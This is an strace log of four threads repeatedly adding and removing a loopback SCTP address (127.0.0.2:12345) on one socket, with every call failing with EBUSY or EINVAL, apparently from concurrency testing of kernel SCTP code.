[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
